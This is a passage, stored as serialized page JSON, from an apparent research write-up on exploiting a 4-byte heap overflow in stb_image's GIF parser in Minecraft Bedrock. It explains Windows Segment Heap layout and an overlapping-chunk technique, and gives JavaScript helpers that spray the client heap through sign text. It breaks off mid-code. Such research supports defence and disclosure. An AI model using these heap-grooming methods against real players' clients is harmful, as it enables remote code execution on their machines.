151740,151744,151748,151752,151756,151760,151764,151768],{"type":24,"tag":930,"props":151737,"children":151738},{"style":1023},[151739],{"type":30,"value":150939},{"type":24,"tag":930,"props":151741,"children":151742},{"style":959},[151743],{"type":30,"value":6849},{"type":24,"tag":930,"props":151745,"children":151746},{"style":1242},[151747],{"type":30,"value":20397},{"type":24,"tag":930,"props":151749,"children":151750},{"style":959},[151751],{"type":30,"value":11770},{"type":24,"tag":930,"props":151753,"children":151754},{"style":1158},[151755],{"type":30,"value":1161},{"type":24,"tag":930,"props":151757,"children":151758},{"style":1023},[151759],{"type":30,"value":40533},{"type":24,"tag":930,"props":151761,"children":151762},{"style":959},[151763],{"type":30,"value":6849},{"type":24,"tag":930,"props":151765,"children":151766},{"style":1242},[151767],{"type":30,"value":20397},{"type":24,"tag":930,"props":151769,"children":151770},{"style":959},[151771],{"type":30,"value":34666},{"type":24,"tag":930,"props":151773,"children":151774},{"class":932,"line":1122},[151775],{"type":24,"tag":930,"props":151776,"children":151777},{"style":959},[151778],{"type":30,"value":37837},{"type":24,"tag":33,"props":151780,"children":151781},{},[151782,151783,151788,151790,151795,151797,151802],{"type":30,"value":27106},{"type":24,"tag":156,"props":151784,"children":151786},{"className":151785},[],[151787],{"type":30,"value":151139},{"type":30,"value":151789}," has to set the last byte to ",{"type":24,"tag":156,"props":151791,"children":151793},{"className":151792},[],[151794],{"type":30,"value":115771},{"type":30,"value":151796}," in order for the four-byte OOB write to happen, meaning we can control the first three bytes of the overflow while the last byte will always be ",{"type":24,"tag":156,"props":151798,"children":151800},{"className":151799},[],[151801],{"type":30,"value":115771},{"type":30,"value":436},{"type":24,"tag":33,"props":151804,"children":151805},{},[151806,151808,151813,151815,151821,151822,151828],{"type":30,"value":151807},"In the code we can see that size of the ",{"type":24,"tag":156,"props":151809,"children":151811},{"className":151810},[],[151812],{"type":30,"value":150596},{"type":30,"value":151814}," allocation is controlled through ",{"type":24,"tag":156,"props":151816,"children":151818},{"className":151817},[],[151819],{"type":30,"value":151820},"g->w",{"type":30,"value":211},{"type":24,"tag":156,"props":151823,"children":151825},{"className":151824},[],[151826],{"type":30,"value":151827},"g->h",{"type":30,"value":151829}," values, both of which are read from the input file itself:",{"type":24,"tag":920,"props":151831,"children":151833},{"code":151832,"language":6268,"meta":7,"className":19616,"style":7},"static stbi_uc *stbi__gif_load_next(...)\n{\n   [...]\n   if (g->out == 0) {\n      if (!stbi__gif_header(s, g, comp,0))     return 0;\n      g->out = (stbi_uc *) stbi__malloc(4 * g->w * g->h);\n",[151834],{"type":24,"tag":156,"props":151835,"children":151836},{"__ignoreMap":7},[151837,151862,151869,151876,151911,151957],{"type":24,"tag":930,"props":151838,"children":151839},{"class":932,"line":933},[151840,151844,151849,151853,151857],{"type":24,"tag":930,"props":151841,"children":151842},{"style":937},[151843],{"type":30,"value":54133},{"type":24,"tag":930,"props":151845,"children":151846},{"style":959},[151847],{"type":30,"value":151848}," stbi_uc ",{"type":24,"tag":930,"props":151850,"children":151851},{"style":1158},[151852],{"type":30,"value":1410},{"type":24,"tag":930,"props":151854,"children":151855},{"style":1002},[151856],{"type":30,"value":149775},{"type":24,"tag":930,"props":151858,"children":151859},{"style":959},[151860],{"type":30,"value":151861},"(...)\n",{"type":24,"tag":930,"props":151863,"children":151864},{"class":932,"line":984},[151865],{"type":24,"tag":930,"props":151866,"children":151867},{"style":959},[151868],{"type":30,"value":13987},{"type":24,"tag":930,"props":151870,"children":151871},{"class":932,"line":993},[151872],{"type":24,"tag":930,"props":151873,"children":151874},{"style":959},[151875],{"type":30,"value":150337},{"type":24,"tag":930,"props":151877,"children":151878},{"class":932,"line":1057},[151879,151883,151887,151891,151895,151899,151903,151907],{"type":24,"tag":930,"props":151880,"children":151881},{"style":1079},[151882],{"type":30,"value":55733},{"type":24,"tag":930,"props":151884,"children":151885},{"style":959},[151886],{"type":30,"value":1087},{"type":24,"tag":930,"props":151888,"children":151889},{"style":1023},[151890],{"type":30,"value":111726},{"type":24,"tag":930,"props":151892,"children":151893},{"style":959},[151894],{"type":30,"value":16864},{"type":24,"tag":930,"props":151896,"children":151897},{"style":1023},[151898],{"type":30,"value":121149},{"type":24,"tag":930,"props":151900,"children":151901},{"style":1158},[151902],{"type":30,"value":6402},{"type":24,"tag":930,"props":151904,"children":151905},{"style":1242},[151906],{"type":30,"value":1245},{"type":24,"tag":930,"props":151908,"children":151909},{"style":959},[151910],{"type":30,"value":1503},{"type":24,"tag":930,"props":151912,"children":151913},{"class":932,"line":1066},[151914,151918,151922,151926,151931,151936,151940,151945,151949,151953],{"type":24,"tag":930,"props":151915,"children":151916},{"style":1079},[151917],{"type":30,"value":42374},{"type":24,"tag":930,"props":151919,"children":151920},{"style":959},[151921],{"type":30,"value":1087},{"type":24,"tag":930,"props":151923,"children":151924},{"style":1158},[151925],{"type":30,"value":3299},{"type":24,"tag":930,"props":151927,"children":151928},{"style":1002},[151929],{"type":30,"value":151930},"stbi__gif_header",{"type":24,"tag":930,"props":151932,"children":151933},{"style":959},[151934],{"type":30,"value":151935},"(s, g, comp,",{"type":24,"tag":930,"props":151937,"children":151938},{"style":1242},[151939],{"type":30,"value":1818},{"type":24,"tag":930,"props":151941,"children":151942},{"style":959},[151943],{"type":30,"value":151944},"))     ",{"type":24,"tag":930,"props":151946,"children":151947},{"style":1079},[151948],{"type":30,"value":51546},{"type":24,"tag":930,"props":151950,"children":151951},{"style":1242},[151952],{"type":30,"value":1245},{"type":24,"tag":930,"props":151954,"children":151955},{"style":959},[151956],{"type":30,"value":5539},{"type":24,"tag":930,"props":151958,"children":151959},{"class":932,"line":1075},[151960,151965,151969,151973,151977,151982,151986,151990,151995,151999,152003,152007,152011,152015,152019,152023,152027,152031,152035],{"type":24,"tag":930,"props":151961,"children":151962},{"style":1023},[151963],{"type":30,"value":151964},"      g",{"type":24,"tag":930,"props":151966,"children":151967},{"style":959},[151968],{"type":30,"value":16864},{"type":24,"tag":930,"props":151970,"children":151971},{"style":1023},[151972],{"type":30,"value":121149},{"type":24,"tag":930,"props":151974,"children":151975},{"style":1158},[151976],{"type":30,"value":6137},{"type":24,"tag":930,"props":151978,"children":151979},{"style":959},[151980],{"type":30,"value":151981}," (stbi_uc ",{"type":24,"tag":930,"props":151983,"children":151984},{"style":1158},[151985],{"type":30,"value":1410},{"type":24,"tag":930,"props":151987,"children":151988},{"style":959},[151989],{"type":30,"value":5579},{"type":24,"tag":930,"props":151991,"children":151992},{"style":1002},[151993],{"type":30,"value":151994},"stbi__malloc",{"type":24,"tag":930,"props":151996,"children":151997},{"style":959},[151998],{"type":30,"value":1010},{"type":24,"tag":930,"props":152000,"children":152001},{"style":1242},[152002],{"type":30,"value":20630},{"type":24,"tag":930,"props":152004,"children":152005},{"style":1158},[152006],{"type":30,"value":12924},{"type":24,"tag":930,"props":152008,"children":152009},{"style":1023},[152010],{"type":30,"value":150377},{"type":24,"tag":930,"props":152012,"children":152013},{"style":959},[152014],{"type":30,"value":16864},{"type":24,"tag":930,"props":152016,"children":152017},{"style":1023},[152018],{"type":30,"value":52661},{"type":24,"tag":930,"props":152020,"children":152021},{"style":1158},[152022],{"type":30,"value":12924},{"type":24,"tag":930,"props":152024,"children":152025},{"style":1023},[152026],{"type":30,"value":150377},{"type":24,"tag":930,"props":152028,"children":152029},{"style":959},[152030],{"type":30,"value":16864},{"type":24,"tag":930,"props":152032,"children":152033},{"style":1023},[152034],{"type":30,"value":87415},{"type":24,"tag":930,"props":152036,"children":152037},{"style":959},[152038],{"type":30,"value":1278},{"type":24,"tag":33,"props":152040,"children":152041},{},[152042,152044,152049,152051,152056],{"type":30,"value":152043},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":24,"tag":156,"props":152045,"children":152047},{"className":152046},[],[152048],{"type":30,"value":150596},{"type":30,"value":152050}," and the value of ",{"type":24,"tag":156,"props":152052,"children":152054},{"className":152053},[],[152055],{"type":30,"value":33},{"type":30,"value":152057}," just before the OOB write happens:",{"type":24,"tag":920,"props":152059,"children":152061},{"code":152060},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[152062],{"type":24,"tag":156,"props":152063,"children":152064},{"__ignoreMap":7},[152065],{"type":30,"value":152060},{"type":24,"tag":33,"props":152067,"children":152068},{},[152069,152071,152076,152078,152083],{"type":30,"value":152070},"There are multiple within-bound writes to ",{"type":24,"tag":156,"props":152072,"children":152074},{"className":152073},[],[152075],{"type":30,"value":33},{"type":30,"value":152077},", but the last write happens just after the ",{"type":24,"tag":156,"props":152079,"children":152081},{"className":152080},[],[152082],{"type":30,"value":150596},{"type":30,"value":152084}," allocation.",{"type":24,"tag":151,"props":152086,"children":152088},{"id":152087},"summarizing-the-corruption",[152089],{"type":30,"value":152090},"Summarizing the Corruption",{"type":24,"tag":96,"props":152092,"children":152093},{},[152094,152107,152135],{"type":24,"tag":100,"props":152095,"children":152096},{},[152097,152099,152105],{"type":30,"value":152098},"A single ",{"type":24,"tag":156,"props":152100,"children":152102},{"className":152101},[],[152103],{"type":30,"value":152104},"0x01",{"type":30,"value":152106}," byte write OOB",{"type":24,"tag":100,"props":152108,"children":152109},{},[152110,152112],{"type":30,"value":152111},"4-byte OOB write just above the allocated buffer\n",{"type":24,"tag":96,"props":152113,"children":152114},{},[152115,152120,152130],{"type":24,"tag":100,"props":152116,"children":152117},{},[152118],{"type":30,"value":152119},"First three bytes are controllable",{"type":24,"tag":100,"props":152121,"children":152122},{},[152123,152125],{"type":30,"value":152124},"Last byte will be ",{"type":24,"tag":156,"props":152126,"children":152128},{"className":152127},[],[152129],{"type":30,"value":115771},{"type":24,"tag":100,"props":152131,"children":152132},{},[152133],{"type":30,"value":152134},"Size of the allocation is controlled",{"type":24,"tag":100,"props":152136,"children":152137},{},[152138,152140],{"type":30,"value":152139},"Both corruptions are done on a short-lived allocation\n",{"type":24,"tag":96,"props":152141,"children":152142},{},[152143,152148],{"type":24,"tag":100,"props":152144,"children":152145},{},[152146],{"type":30,"value":152147},"Allocated just before the image-parsing process",{"type":24,"tag":100,"props":152149,"children":152150},{},[152151],{"type":30,"value":152152},"Freed immediately upon parsing completion",{"type":24,"tag":21895,"props":152154,"children":152155},{},[],{"type":24,"tag":33,"props":152157,"children":152158},{},[152159,152161,152168,152170,152177],{"type":30,"value":152160},"Note that this bug was already found before (",{"type":24,"tag":37,"props":152162,"children":152165},{"href":152163,"rel":152164},"https://github.com/nothings/stb/issues/656",[41],[152166],{"type":30,"value":152167},"Github Issue",{"type":30,"value":152169},") but we missed it at the time. It was later fixed in ",{"type":24,"tag":37,"props":152171,"children":152174},{"href":152172,"rel":152173},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[41],[152175],{"type":30,"value":152176},"this commit",{"type":30,"value":436},{"type":24,"tag":68,"props":152179,"children":152180},{"id":8532},[152181],{"type":30,"value":8535},{"type":24,"tag":33,"props":152183,"children":152184},{},[152185],{"type":30,"value":152186},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":24,"tag":33,"props":152188,"children":152189},{},[152190],{"type":30,"value":152191},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":24,"tag":151,"props":152193,"children":152195},{"id":152194},"searching-for-better-primitives",[152196],{"type":30,"value":152197},"Searching for Better Primitives",{"type":24,"tag":33,"props":152199,"children":152200},{},[152201],{"type":30,"value":152202},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":24,"tag":33,"props":152204,"children":152205},{},[152206,152208,152215],{"type":30,"value":152207},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":24,"tag":37,"props":152209,"children":152212},{"href":152210,"rel":152211},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[41],[152213],{"type":30,"value":152214},"UWP",{"type":30,"value":152216}," applications (such as Minecraft Bedrock Edition).",{"type":24,"tag":151,"props":152218,"children":152220},{"id":152219},"segment-heap",[152221],{"type":30,"value":152222},"Segment Heap",{"type":24,"tag":33,"props":152224,"children":152225},{},[152226,152228,152235],{"type":30,"value":152227},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":24,"tag":37,"props":152229,"children":152232},{"href":152230,"rel":152231},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[41],[152233],{"type":30,"value":152234},"this talk",{"type":30,"value":152236}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":24,"tag":21995,"props":152238,"children":152240},{"id":152239},"low-fragmentation-heap",[152241],{"type":30,"value":152242},"Low Fragmentation Heap",{"type":24,"tag":33,"props":152244,"children":152245},{},[152246,152248,152254],{"type":30,"value":152247},"Low Fragmentation Heap (LFH) services allocations of ",{"type":24,"tag":156,"props":152249,"children":152251},{"className":152250},[],[152252],{"type":30,"value":152253},"0x3ff0",{"type":30,"value":152255}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":24,"tag":33,"props":152257,"children":152258},{},[152259],{"type":30,"value":152260},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":24,"tag":920,"props":152262,"children":152264},{"code":152263},"              +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              |                         |\n              | 41 41 41 41 41 41 41 41 |\n              +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 42 42 |\n              |                         |\n              | 42 42 42 42 42 42 . . . |\n              |                         |\n",[152265],{"type":24,"tag":156,"props":152266,"children":152267},{"__ignoreMap":7},[152268],{"type":30,"value":152263},{"type":24,"tag":33,"props":152270,"children":152271},{},[152272],{"type":30,"value":152273},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":24,"tag":21995,"props":152275,"children":152277},{"id":152276},"variable-size",[152278],{"type":30,"value":152279},"Variable Size",{"type":24,"tag":33,"props":152281,"children":152282},{},[152283,152285,152291,152293,152299],{"type":30,"value":152284},"This subsegment is used for allocation sizes from ",{"type":24,"tag":156,"props":152286,"children":152288},{"className":152287},[],[152289],{"type":30,"value":152290},"0x4000",{"type":30,"value":152292}," and up to ",{"type":24,"tag":156,"props":152294,"children":152296},{"className":152295},[],[152297],{"type":30,"value":152298},"0x20_000",{"type":30,"value":152300},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":24,"tag":920,"props":152302,"children":152304},{"code":152303},"                          +-------------------------+\n            Chunk A ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          |                         |\n                          | 41 41 41 41 41 41 41 41 |\n                          +-------------------------+\n            Chunk B ----->|  HEAP_VS_CHUNK_HEADER   |\n                          +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 42 42 |\n                          |                         |\n                          | 42 42 42 42 42 42 . . . |\n                          |                         |\n",[152305],{"type":24,"tag":156,"props":152306,"children":152307},{"__ignoreMap":7},[152308],{"type":30,"value":152303},{"type":24,"tag":33,"props":152310,"children":152311},{},[152312,152314,152320],{"type":30,"value":152313},"The header, ",{"type":24,"tag":156,"props":152315,"children":152317},{"className":152316},[],[152318],{"type":30,"value":152319},"HEAP_VS_CHUNK_HEADER",{"type":30,"value":152321},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":24,"tag":21895,"props":152323,"children":152324},{},[],{"type":24,"tag":33,"props":152326,"children":152327},{},[152328],{"type":30,"value":152329},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":24,"tag":33,"props":152331,"children":152332},{},[152333,152335,152342],{"type":30,"value":152334},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":24,"tag":37,"props":152336,"children":152339},{"href":152337,"rel":152338},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[41],[152340],{"type":30,"value":152341},"technique published",{"type":30,"value":152343}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":24,"tag":33,"props":152345,"children":152346},{},[152347],{"type":30,"value":152348},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":24,"tag":33,"props":152350,"children":152351},{},[152352],{"type":30,"value":152353},"In either case, we needed a way to spray the heap before we could proceed.",{"type":24,"tag":151,"props":152355,"children":152357},{"id":152356},"finding-a-way-to-spray-the-heap",[152358],{"type":30,"value":152359},"Finding a Way to Spray the Heap",{"type":24,"tag":33,"props":152361,"children":152362},{},[152363],{"type":30,"value":152364},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":24,"tag":96,"props":152366,"children":152367},{},[152368,152373,152378,152383],{"type":24,"tag":100,"props":152369,"children":152370},{},[152371],{"type":30,"value":152372},"The size of the allocation",{"type":24,"tag":100,"props":152374,"children":152375},{},[152376],{"type":30,"value":152377},"The data written into the allocated buffer",{"type":24,"tag":100,"props":152379,"children":152380},{},[152381],{"type":30,"value":152382},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":24,"tag":100,"props":152384,"children":152385},{},[152386],{"type":30,"value":152387},"The number of created objects (preferably unbounded)",{"type":24,"tag":33,"props":152389,"children":152390},{},[152391],{"type":30,"value":152392},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":24,"tag":21995,"props":152394,"children":152396},{"id":152395},"minecraft-signs",[152397],{"type":30,"value":152398},"Minecraft Signs",{"type":24,"tag":33,"props":152400,"children":152401},{},[152402],{"type":30,"value":152403},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":24,"tag":33,"props":152405,"children":152406},{},[152407,152409,152415],{"type":30,"value":152408},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":24,"tag":156,"props":152410,"children":152412},{"className":152411},[],[152413],{"type":30,"value":152414},"std::string",{"type":30,"value":436},{"type":24,"tag":33,"props":152417,"children":152418},{},[152419,152421,152426],{"type":30,"value":152420},"In Microsoft’s C++ implementation, ",{"type":24,"tag":156,"props":152422,"children":152424},{"className":152423},[],[152425],{"type":30,"value":152414},{"type":30,"value":152427}," is structured roughly as follows:",{"type":24,"tag":920,"props":152429,"children":152431},{"code":152430,"language":6268,"meta":7,"className":19616,"style":7},"struct string\n{\n    union {\n        char* ptr;\n        char buf[16];\n    };\n    size_t size;\n    size_t capacity;\n};\n",[152432],{"type":24,"tag":156,"props":152433,"children":152434},{"__ignoreMap":7},[152435,152446,152453,152465,152481,152505,152512,152523,152535],{"type":24,"tag":930,"props":152436,"children":152437},{"class":932,"line":933},[152438,152442],{"type":24,"tag":930,"props":152439,"children":152440},{"style":937},[152441],{"type":30,"value":12509},{"type":24,"tag":930,"props":152443,"children":152444},{"style":959},[152445],{"type":30,"value":88114},{"type":24,"tag":930,"props":152447,"children":152448},{"class":932,"line":984},[152449],{"type":24,"tag":930,"props":152450,"children":152451},{"style":959},[152452],{"type":30,"value":13987},{"type":24,"tag":930,"props":152454,"children":152455},{"class":932,"line":993},[152456,152461],{"type":24,"tag":930,"props":152457,"children":152458},{"style":937},[152459],{"type":30,"value":152460},"    union",{"type":24,"tag":930,"props":152462,"children":152463},{"style":959},[152464],{"type":30,"value":981},{"type":24,"tag":930,"props":152466,"children":152467},{"class":932,"line":1057},[152468,152473,152477],{"type":24,"tag":930,"props":152469,"children":152470},{"style":937},[152471],{"type":30,"value":152472},"        char",{"type":24,"tag":930,"props":152474,"children":152475},{"style":1158},[152476],{"type":30,"value":1410},{"type":24,"tag":930,"props":152478,"children":152479},{"style":959},[152480],{"type":30,"value":19658},{"type":24,"tag":930,"props":152482,"children":152483},{"class":932,"line":1066},[152484,152488,152493,152497,152501],{"type":24,"tag":930,"props":152485,"children":152486},{"style":937},[152487],{"type":30,"value":152472},{"type":24,"tag":930,"props":152489,"children":152490},{"style":1023},[152491],{"type":30,"value":152492}," buf",{"type":24,"tag":930,"props":152494,"children":152495},{"style":959},[152496],{"type":30,"value":6849},{"type":24,"tag":930,"props":152498,"children":152499},{"style":1242},[152500],{"type":30,"value":43935},{"type":24,"tag":930,"props":152502,"children":152503},{"style":959},[152504],{"type":30,"value":34666},{"type":24,"tag":930,"props":152506,"children":152507},{"class":932,"line":1075},[152508],{"type":24,"tag":930,"props":152509,"children":152510},{"style":959},[152511],{"type":30,"value":42084},{"type":24,"tag":930,"props":152513,"children":152514},{"class":932,"line":1122},[152515,152519],{"type":24,"tag":930,"props":152516,"children":152517},{"style":937},[152518],{"type":30,"value":19666},{"type":24,"tag":930,"props":152520,"children":152521},{"style":959},[152522],{"type":30,"value":127030},{"type":24,"tag":930,"props":152524,"children":152525},{"class":932,"line":1131},[152526,152530],{"type":24,"tag":930,"props":152527,"children":152528},{"style":937},[152529],{"type":30,"value":19666},{"type":24,"tag":930,"props":152531,"children":152532},{"style":959},[152533],{"type":30,"value":152534}," capacity;\n",{"type":24,"tag":930,"props":152536,"children":152537},{"class":932,"line":1144},[152538],{"type":24,"tag":930,"props":152539,"children":152540},{"style":959},[152541],{"type":30,"value":19679},{"type":24,"tag":33,"props":152543,"children":152544},{},[152545,152547,152553,152555,152560],{"type":30,"value":152546},"We are primarily interested in the union: ",{"type":24,"tag":156,"props":152548,"children":152550},{"className":152549},[],[152551],{"type":30,"value":152552},"buf",{"type":30,"value":152554}," is used when the string fits within 16 bytes, while ",{"type":24,"tag":156,"props":152556,"children":152558},{"className":152557},[],[152559],{"type":30,"value":17056},{"type":30,"value":152561}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":24,"tag":33,"props":152563,"children":152564},{},[152565],{"type":30,"value":152566},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":24,"tag":33,"props":152568,"children":152569},{},[152570],{"type":30,"value":152571},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":24,"tag":21995,"props":152573,"children":152575},{"id":152574},"spraying-with-server-side-scripting",[152576],{"type":30,"value":152577},"Spraying With Server-Side Scripting",{"type":24,"tag":33,"props":152579,"children":152580},{},[152581],{"type":30,"value":152582},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":24,"tag":33,"props":152584,"children":152585},{},[152586,152588,152594,152595,152601],{"type":30,"value":152587},"We wrote ",{"type":24,"tag":156,"props":152589,"children":152591},{"className":152590},[],[152592],{"type":30,"value":152593},"alloc",{"type":30,"value":211},{"type":24,"tag":156,"props":152596,"children":152598},{"className":152597},[],[152599],{"type":30,"value":152600},"free",{"type":30,"value":152602}," helpers that trigger an allocation in the client and free it on demand:",{"type":24,"tag":920,"props":152604,"children":152606},{"code":152605,"language":38703,"meta":7,"className":38701,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n    for (let sign of signs) {\n        if (sign.allocated || sign.removed) {\n            continue;\n        }\n\n        sign.sign.setText(fill.repeat(size - 1));\n        sign.allocated = true;\n        return sign;\n    }\n\n    console.warn(\"No more allocs\");\n    return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n    if (sign == undefined || sign.allocated == false) {\n        return;\n    }\n\n    sign.sign.setText(\"\");\n    sign.allocated = false;\n\n    sign.block.setPermutation(\n        BlockPermutation.resolve(\"minecraft:air\")\n    );\n    sign.removed = true;\n}\n",[152607],{"type":24,"tag":156,"props":152608,"children":152609},{"__ignoreMap":7},[152610,152618,152660,152693,152738,152750,152757,152764,152825,152852,152867,152874,152881,152910,152925,152932,152939,152947,152971,153022,153033,153040,153047,153084,153111,153118,153147,153177,153184,153211],{"type":24,"tag":930,"props":152611,"children":152612},{"class":932,"line":933},[152613],{"type":24,"tag":930,"props":152614,"children":152615},{"style":1422},[152616],{"type":30,"value":152617},"// Allocate sign text in the client\n",{"type":24,"tag":930,"props":152619,"children":152620},{"class":932,"line":984},[152621,152625,152630,152634,152638,152642,152647,152651,152656],{"type":24,"tag":930,"props":152622,"children":152623},{"style":937},[152624],{"type":30,"value":34469},{"type":24,"tag":930,"props":152626,"children":152627},{"style":1002},[152628],{"type":30,"value":152629}," alloc",{"type":24,"tag":930,"props":152631,"children":152632},{"style":959},[152633],{"type":30,"value":1010},{"type":24,"tag":930,"props":152635,"children":152636},{"style":1023},[152637],{"type":30,"value":126688},{"type":24,"tag":930,"props":152639,"children":152640},{"style":959},[152641],{"type":30,"value":962},{"type":24,"tag":930,"props":152643,"children":152644},{"style":1023},[152645],{"type":30,"value":152646},"fill",{"type":24,"tag":930,"props":152648,"children":152649},{"style":1158},[152650],{"type":30,"value":1161},{"type":24,"tag":930,"props":152652,"children":152653},{"style":1270},[152654],{"type":30,"value":152655},"\"A\"",{"type":24,"tag":930,"props":152657,"children":152658},{"style":959},[152659],{"type":30,"value":1503},{"type":24,"tag":930,"props":152661,"children":152662},{"class":932,"line":993},[152663,152667,152671,152675,152680,152684,152689],{"type":24,"tag":930,"props":152664,"children":152665},{"style":1079},[152666],{"type":30,"value":6154},{"type":24,"tag":930,"props":152668,"children":152669},{"style":959},[152670],{"type":30,"value":1087},{"type":24,"tag":930,"props":152672,"children":152673},{"style":937},[152674],{"type":30,"value":14894},{"type":24,"tag":930,"props":152676,"children":152677},{"style":1023},[152678],{"type":30,"value":152679}," sign",{"type":24,"tag":930,"props":152681,"children":152682},{"style":937},[152683],{"type":30,"value":13470},{"type":24,"tag":930,"props":152685,"children":152686},{"style":1023},[152687],{"type":30,"value":152688}," signs",{"type":24,"tag":930,"props":152690,"children":152691},{"style":959},[152692],{"type":30,"value":1503},{"type":24,"tag":930,"props":152694,"children":152695},{"class":932,"line":1057},[152696,152700,152704,152709,152713,152718,152722,152726,152730,152734],{"type":24,"tag":930,"props":152697,"children":152698},{"style":1079},[152699],{"type":30,"value":3290},{"type":24,"tag":930,"props":152701,"children":152702},{"style":959},[152703],{"type":30,"value":1087},{"type":24,"tag":930,"props":152705,"children":152706},{"style":1023},[152707],{"type":30,"value":152708},"sign",{"type":24,"tag":930,"props":152710,"children":152711},{"style":959},[152712],{"type":30,"value":436},{"type":24,"tag":930,"props":152714,"children":152715},{"style":1023},[152716],{"type":30,"value":152717},"allocated",{"type":24,"tag":930,"props":152719,"children":152720},{"style":1158},[152721],{"type":30,"value":1250},{"type":24,"tag":930,"props":152723,"children":152724},{"style":1023},[152725],{"type":30,"value":152679},{"type":24,"tag":930,"props":152727,"children":152728},{"style":959},[152729],{"type":30,"value":436},{"type":24,"tag":930,"props":152731,"children":152732},{"style":1023},[152733],{"type":30,"value":135393},{"type":24,"tag":930,"props":152735,"children":152736},{"style":959},[152737],{"type":30,"value":1503},{"type":24,"tag":930,"props":152739,"children":152740},{"class":932,"line":1066},[152741,152746],{"type":24,"tag":930,"props":152742,"children":152743},{"style":1079},[152744],{"type":30,"value":152745},"            continue",{"type":24,"tag":930,"props":152747,"children":152748},{"style":959},[152749],{"type":30,"value":5539},{"type":24,"tag":930,"props":152751,"children":152752},{"class":932,"line":1075},[152753],{"type":24,"tag":930,"props":152754,"children":152755},{"style":959},[152756],{"type":30,"value":1831},{"type":24,"tag":930,"props":152758,"children":152759},{"class":932,"line":1122},[152760],{"type":24,"tag":930,"props":152761,"children":152762},{"emptyLinePlaceholder":16},[152763],{"type":30,"value":2412},{"type":24,"tag":930,"props":152765,"children":152766},{"class":932,"line":1131},[152767,152772,152776,152780,152784,152789,152793,152797,152801,152805,152809,152813,152817,152821],{"type":24,"tag":930,"props":152768,"children":152769},{"style":1023},[152770],{"type":30,"value":152771},"        